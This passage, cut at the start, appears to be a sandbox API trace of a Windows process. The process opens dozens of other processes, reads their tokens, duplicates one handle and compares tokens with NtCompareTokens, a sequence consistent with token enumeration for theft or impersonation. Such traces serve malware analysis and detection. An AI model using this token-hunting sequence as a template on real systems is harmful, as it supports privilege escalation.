TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.608] CloseHandle (hObject=0x16c) returned 1 [0196.608] CloseHandle (hObject=0x168) returned 1 [0196.608] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x850) returned 0x168 [0196.608] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.608] GetCurrentProcess () returned 0xffffffffffffffff [0196.608] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.608] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.608] CloseHandle (hObject=0x16c) returned 1 [0196.608] CloseHandle (hObject=0x168) returned 1 [0196.609] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x860) returned 0x168 [0196.609] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.609] GetCurrentProcess () returned 0xffffffffffffffff [0196.609] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.609] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.609] CloseHandle (hObject=0x16c) returned 1 [0196.609] CloseHandle (hObject=0x168) returned 1 [0196.609] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x870) returned 0x168 [0196.609] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.609] GetCurrentProcess () returned 0xffffffffffffffff [0196.609] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.609] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.610] CloseHandle (hObject=0x16c) returned 1 [0196.610] CloseHandle (hObject=0x168) returned 1 [0196.610] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x880) returned 0x168 [0196.610] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.610] GetCurrentProcess () returned 0xffffffffffffffff [0196.610] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.610] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.610] CloseHandle (hObject=0x16c) returned 1 [0196.610] CloseHandle (hObject=0x168) returned 1 [0196.610] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x890) returned 0x168 [0196.610] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.610] GetCurrentProcess () returned 0xffffffffffffffff [0196.611] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.611] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.611] CloseHandle (hObject=0x16c) returned 1 [0196.611] CloseHandle (hObject=0x168) returned 1 [0196.611] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8a0) returned 0x168 [0196.611] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.611] GetCurrentProcess () returned 0xffffffffffffffff [0196.611] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.611] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.611] CloseHandle (hObject=0x16c) returned 1 [0196.611] CloseHandle (hObject=0x168) returned 1 [0196.611] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8b0) returned 0x168 [0196.611] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.611] GetCurrentProcess () returned 0xffffffffffffffff [0196.612] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.612] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.612] CloseHandle (hObject=0x16c) returned 1 [0196.612] CloseHandle (hObject=0x168) returned 1 [0196.612] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8c0) returned 0x168 [0196.612] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.612] GetCurrentProcess () returned 0xffffffffffffffff [0196.612] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.612] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.612] CloseHandle (hObject=0x16c) returned 1 [0196.612] CloseHandle (hObject=0x168) returned 1 [0196.612] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8d0) returned 0x168 [0196.612] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.613] GetCurrentProcess () returned 0xffffffffffffffff [0196.613] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.613] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.613] CloseHandle (hObject=0x16c) returned 1 [0196.613] CloseHandle (hObject=0x168) returned 1 [0196.613] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8e0) returned 0x168 [0196.613] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.613] GetCurrentProcess () returned 0xffffffffffffffff [0196.613] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.614] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.614] CloseHandle (hObject=0x16c) returned 1 [0196.614] CloseHandle (hObject=0x168) returned 1 [0196.614] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8f0) returned 0x168 [0196.614] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.614] GetCurrentProcess () returned 0xffffffffffffffff [0196.614] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.614] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.614] CloseHandle (hObject=0x16c) returned 1 [0196.614] CloseHandle (hObject=0x168) returned 1 [0196.614] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x900) returned 0x168 [0196.615] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.615] GetCurrentProcess () returned 0xffffffffffffffff [0196.615] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.615] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.615] CloseHandle (hObject=0x16c) returned 1 [0196.615] CloseHandle (hObject=0x168) returned 1 [0196.615] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x910) returned 0x168 [0196.615] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.616] GetCurrentProcess () returned 0xffffffffffffffff [0196.616] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.616] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.616] CloseHandle (hObject=0x16c) returned 1 [0196.616] CloseHandle (hObject=0x168) returned 1 [0196.617] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x920) returned 0x168 [0196.617] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.617] GetCurrentProcess () returned 0xffffffffffffffff [0196.617] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.617] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.617] CloseHandle (hObject=0x16c) returned 1 [0196.617] CloseHandle (hObject=0x168) returned 1 [0196.617] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x930) returned 0x168 [0196.617] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.617] GetCurrentProcess () returned 0xffffffffffffffff [0196.617] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.618] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.618] CloseHandle (hObject=0x16c) returned 1 [0196.618] CloseHandle (hObject=0x168) returned 1 [0196.618] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x940) returned 0x168 [0196.618] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.618] GetCurrentProcess () returned 0xffffffffffffffff [0196.618] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.618] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.618] CloseHandle (hObject=0x16c) returned 1 [0196.618] CloseHandle (hObject=0x168) returned 1 [0196.618] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x950) returned 0x168 [0196.618] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.618] GetCurrentProcess () returned 0xffffffffffffffff [0196.619] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.619] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.619] CloseHandle (hObject=0x16c) returned 1 [0196.619] CloseHandle (hObject=0x168) returned 1 [0196.619] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x960) returned 0x168 [0196.619] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.619] GetCurrentProcess () returned 0xffffffffffffffff [0196.619] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.619] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.619] CloseHandle (hObject=0x16c) returned 1 [0196.619] CloseHandle (hObject=0x168) returned 1 [0196.619] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x970) returned 0x168 [0196.619] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.620] GetCurrentProcess () returned 0xffffffffffffffff [0196.620] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.620] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.620] CloseHandle (hObject=0x16c) returned 1 [0196.620] CloseHandle (hObject=0x168) returned 1 [0196.620] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x980) returned 0x168 [0196.620] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.620] GetCurrentProcess () returned 0xffffffffffffffff [0196.620] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.620] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.620] CloseHandle (hObject=0x16c) returned 1 [0196.621] CloseHandle (hObject=0x168) returned 1 [0196.621] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x990) returned 0x168 [0196.621] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.621] GetCurrentProcess () returned 0xffffffffffffffff [0196.621] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.621] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.621] CloseHandle (hObject=0x16c) returned 1 [0196.621] CloseHandle (hObject=0x168) returned 1 [0196.621] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9a0) returned 0x168 [0196.621] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.621] GetCurrentProcess () returned 0xffffffffffffffff [0196.621] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.622] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.622] CloseHandle (hObject=0x16c) returned 1 [0196.622] CloseHandle (hObject=0x168) returned 1 [0196.622] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9b0) returned 0x168 [0196.622] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.622] GetCurrentProcess () returned 0xffffffffffffffff [0196.622] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.622] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.622] CloseHandle (hObject=0x16c) returned 1 [0196.622] CloseHandle (hObject=0x168) returned 1 [0196.622] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9c0) returned 0x168 [0196.622] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.622] GetCurrentProcess () returned 0xffffffffffffffff [0196.623] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.623] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.623] CloseHandle (hObject=0x16c) returned 1 [0196.623] CloseHandle (hObject=0x168) returned 1 [0196.623] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9d0) returned 0x168 [0196.623] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.623] GetCurrentProcess () returned 0xffffffffffffffff [0196.623] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.623] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.623] CloseHandle (hObject=0x16c) returned 1 [0196.623] CloseHandle (hObject=0x168) returned 1 [0196.623] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9f8) returned 0x168 [0196.623] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.624] GetCurrentProcess () returned 0xffffffffffffffff [0196.624] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bce0 [0196.624] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bce0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bce0*=0x1a0) returned 1 [0196.624] CloseHandle (hObject=0x16c) returned 1 [0196.624] CloseHandle (hObject=0x168) returned 1 [0196.624] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa24) returned 0x168 [0196.624] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.624] CloseHandle (hObject=0x168) returned 1 [0196.624] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb3c) returned 0x168 [0196.624] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.624] CloseHandle (hObject=0x168) returned 1 [0196.624] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e0) returned 0x168 [0196.624] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.625] GetCurrentProcess () returned 0xffffffffffffffff [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x19c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.625] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.625] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.625] CloseHandle (hObject=0x16c) returned 1 [0196.625] CloseHandle (hObject=0x168) returned 1 [0196.625] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5f4) returned 0x168 [0196.625] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.626] CloseHandle (hObject=0x168) returned 1 [0196.626] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb24) returned 0x168 [0196.626] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.626] CloseHandle (hObject=0x168) returned 1 [0196.626] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa68) returned 0x168 [0196.626] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.626] CloseHandle (hObject=0x168) returned 1 [0196.626] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x34c) returned 0x168 [0196.626] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.626] CloseHandle (hObject=0x168) returned 1 [0196.626] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7b4) returned 0x168 [0196.626] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.626] CloseHandle (hObject=0x168) returned 1 [0196.626] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x978) returned 0x168 [0196.626] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.627] CloseHandle (hObject=0x168) returned 1 [0196.627] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa6c) returned 0x168 [0196.627] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.627] GetCurrentProcess () returned 0xffffffffffffffff [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.627] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 